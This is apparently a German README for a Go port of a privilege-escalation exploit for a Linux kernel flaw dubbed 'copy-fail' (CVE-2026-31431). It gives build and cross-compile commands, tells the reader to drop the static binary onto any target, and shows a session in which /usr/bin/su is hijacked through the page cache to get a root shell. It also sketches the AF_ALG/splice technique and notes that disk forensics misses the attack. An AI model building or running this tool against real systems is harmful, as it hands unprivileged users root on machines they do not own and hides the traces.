
# Go-Port des CVE-2026-31431 (copy-fail) Linux-Kernel-Privilege-Escalation-PoCs, mit automatischer SUID-Binär-Enumeration und interaktiver Zielauswahl.
Go-Port von grenkocas Python-PoC für CVE-2026-31431 (copy-fail).
Diese Version kompiliert zu einer vollständig statischen Binärdatei ohne Laufzeitabhängigkeiten – kein Python, kein pip, keine libc-Versionsbeschränkungen. Einfach auf ein beliebiges Linux-Zielsystem werfen und ausführen. Sie listet außerdem automatisch alle SUID-Binärdateien mit Weltleserechten auf dem Zielsystem auf und lässt dich interaktiv auswählen, welche davon ausgenutzt werden soll.
Nur für autorisierte Sicherheitsforschung und CTF-Nutzung.
Entdeckt von Theori und öffentlich offengelegt am 29. April 2026, ist Copy.Fail ein Logikfehler im algif_aead-Krypto-Modul des Linux-Kernels, der durch eine Optimierung aus dem Jahr 2017 eingeführt wurde. Er betrifft alle gängigen Linux-Distributionen seit 2017.
Durch Manipulation der AF_ALG-Krypto-Schnittstelle des Kernels kann ein nicht privilegierter Angreifer kontrollierte Daten direkt in den Linux-Page-Cache schreiben – die In-Memory-Repräsentation vertrauenswürdiger System-Binärdateien. Dies ermöglicht die vorübergehende Übernahme von Binärdateien wie /usr/bin/su, ohne die Datei auf der Festplatte zu verändern, wodurch diskbasierte Forensik den Angriff nicht erkennt.
Im Gegensatz zu vielen LPE-Schwachstellen, die von Race Conditions oder Kernel-Adressleaks abhängen, ist Copy.Fail äußerst zuverlässig und funktioniert konsistent mit nur einem Standard-Benutzerkonto.
Auswirkungen:
Betroffene Kernel: Alle Distributionen seit 2017. Siehe grenkocas ursprünglichen PoC für den spezifischen Versionsbereich.
| Tool | Version |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
Die Flags -s -w entfernen Debug-Informationen, um die Binärgröße zu reduzieren. CGO_ENABLED=0 erzeugt eine vollständig statische Binärdatei ohne libc-Abhängigkeit – einfach auf ein beliebiges Linux-Zielsystem werfen, unabhängig von der glibc-Version.
| Ziel | Befehl |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-Bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
Übertrage die Binärdatei auf das Zielsystem und führe sie aus (kein Root erforderlich):
./copy-fail
Beispielsitzung:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY – keine Schreibberechtigung erforderlich.AF_ALG-Socket (SOCK_SEQPACKET), der an die AEAD-Transformation authencesn(hmac(sha256),cbc(aes)) gebunden ist.sendmsg mit MSG_MORE und SOL_ALG-Kontrollnachrichten, um eine Krypto-Operation gegen den Page-Cache-Eintrag der Zieldatei in die Warteschlange zu stellen.splice(2), um Seiten aus der Datei in den ALG-Socket zu verschieben, wodurch der verwundbare Kernel-Pfad ausgelöst wird, der modifizierte Page-Cache-Seiten ohne erneute Prüfung der Dateiberechtigungen zurückschreibt.| Original (Python) | Dieses Repo (Go) |
|---|
| Sprache | Python 3 | Go 1.21+ |
| Ziel | Fest verdrahtet /usr/bin/su | Automatisch erkannt durch Live-Dateisystem-Scan |
| Zielauswahl | Keine | Interaktives nummeriertes Menü |
| Verteilung | Skript | Einzelne statische Binärdatei (keine Laufzeitabhängigkeiten) |